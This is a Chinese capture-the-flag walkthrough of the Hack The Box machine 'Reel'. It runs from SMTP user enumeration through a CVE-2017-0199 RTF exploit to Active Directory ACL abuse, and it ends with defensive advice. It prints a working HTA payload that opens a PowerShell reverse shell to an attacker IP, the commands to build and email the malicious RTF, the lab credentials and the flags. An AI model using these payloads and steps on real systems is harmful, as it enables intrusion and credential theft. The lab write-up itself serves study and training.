Meachines] [Hard] Reel SMTP_ENUM+RTF+PSCredential+TOL-API+DC-OOC+ACLS+WriteDacl+BackupScript.ps1
字数 1799 2025-09-23 19:27:46
Meachines Hard: Reel SMTP 渗透测试教学文档
1. 信息收集
1.1 初始扫描
- 目标IP: 10.10.10.77
- 开放端口和服务:
- 21/tcp: FTP (Microsoft ftpd) - 允许匿名登录
- 22/tcp: SSH (OpenSSH 7.6)
- 25/tcp: SMTP (REEL邮件服务)
- 135/tcp: MSRPC
- 139/tcp: NetBIOS-SSN
- 445/tcp: Microsoft-ds (Windows Server 2012 R2 Standard)
- 593/tcp: ncacn_http (RPC over HTTP)
- 49159/tcp: MSRPC
1.2 FTP枚举
- 匿名登录发现/documents目录
- 重要文件:
- AppLocker.docx: 记录了AppLocker策略,限制exe、msi和脚本(ps1,vbs,cmd,bat,js)执行
- readme.txt: 请求发送RTF格式的流程文档
- Windows Event Forwarding.docx
- 发现邮箱地址: nico@megabank.com
2. SMTP用户枚举
2.1 使用smtp-user-enum工具
./smtp-user-enum.pl -M RCPT -U test.txt -t 10.10.10.77
- 确认存在的用户:
- reel@htb
- reel@htb.local
- reel@reel.htb
- administrator@htb
- admin@htb
- root@htb
- nico@megabank.com
- htb@metabank.com
3. RTF漏洞利用(CVE-2017-0199)
3.1 漏洞概述
- Microsoft Office/Word RTF远程代码执行漏洞
- 利用OLE对象处理不当,远程下载执行恶意程序
3.2 利用步骤
- 创建恶意HTA文件(exp.hta):
<html>
<script>
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -nop -w hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.14',443);$stream = $client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
</script>
</html>
- 使用cve-2017-0199_toolkit生成恶意RTF文件:
python2 cve-2017-0199_toolkit.py -M gen -w exp.rtf -u 'http://10.10.16.14/exp.hta' -t rtf -x 0
- 通过SMTP发送恶意RTF文件:
sendEmail -f MAPTNH@H4CK13.com -t nico@megabank.com -u "N" -m "N" -a exp.rtf -s 10.10.10.77 -v
- 获取初始访问权限后找到user.txt:
f09ba4f30e33ac3919e92ce22c4ae41a
4. 权限提升(nico → tom)
4.1 发现PSCredential文件
- 在nico的桌面找到cred.xml
- 解密凭证:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
- 获取tom的凭证:
- 用户名: Tom
- 密码: 1ts-mag1c!!!
4.2 使用SSH登录tom账户
ssh Tom@10.10.10.77
5. 权限提升(tom → claire)
5.1 使用SharpHound收集AD信息
Invoke-WebRequest -Uri 'http://10.10.16.14:10831/download_with_token/347e144f97ab43199fc30e4c29ffb2d7' -OutFile 'SharpHound.exe'
.\SharpHound.exe -c All
5.2 分析ACLs
- tom对claire有Owns和WriteOwner权限
- 使用PowerView进行权限操作:
- 下载PowerView.ps1:
Invoke-WebRequest -Uri 'http://10.10.16.14:10831/download_with_token/b4eeaed57b644ab5bb0994d180743118' -OutFile 'PowerView.ps1'
Import-Module .\PowerView.ps1
- 设置tom为claire的拥有者:
Set-DomainObjectOwner -identity claire -OwnerIdentity tom
- 添加重置密码权限:
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
- 重置claire密码:
$cred = ConvertTo-SecureString "ThisMyPassword!@" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred
- 使用SSH登录claire账户:
ssh claire@10.10.10.77
6. 权限提升(claire → backup admin → administrator)
6.1 利用WriteDacl权限
- claire对Backup admin组有WriteDacl权限
- Backup admin组对域控管理员有Owns权限
6.2 添加claire到backup_admins组
net group backup_admins claire /add
6.3 查找备份脚本中的密码
Get-ChildItem -Path . -Recurse -File | Select-String -Pattern "password" | Select-Object Path, LineNumber, Line
- 发现密码: Cr4ckMeIfYouC4n!
6.4 使用SSH登录administrator账户
ssh administrator@10.10.10.77
7. 获取root.txt
bdfd2f6a549ea1a6fd7d1306e5c771cd
关键工具和技术总结
- SMTP用户枚举: 使用smtp-user-enum.pl通过RCPT TO命令验证用户存在性
- CVE-2017-0199: RTF文件漏洞利用,通过恶意HTA文件获取初始访问
- PowerShell Credential解密: 从XML文件中提取存储的凭据
- Active Directory枚举: 使用SharpHound收集域信息
- ACL滥用:
- 使用PowerView的Set-DomainObjectOwner和Add-DomainObjectAcl
- 利用WriteDacl权限将用户添加到特权组
- 密码搜索: 在脚本文件中查找硬编码凭据
防御建议
- 禁用SMTP匿名枚举功能
- 及时安装Office安全更新,防止CVE-2017-0199等漏洞
- 避免在文件中存储明文或可解密的凭据
- 定期审计Active Directory权限,特别是ACLs
- 实施最小权限原则,限制用户不必要的权限
- 避免在脚本中硬编码敏感信息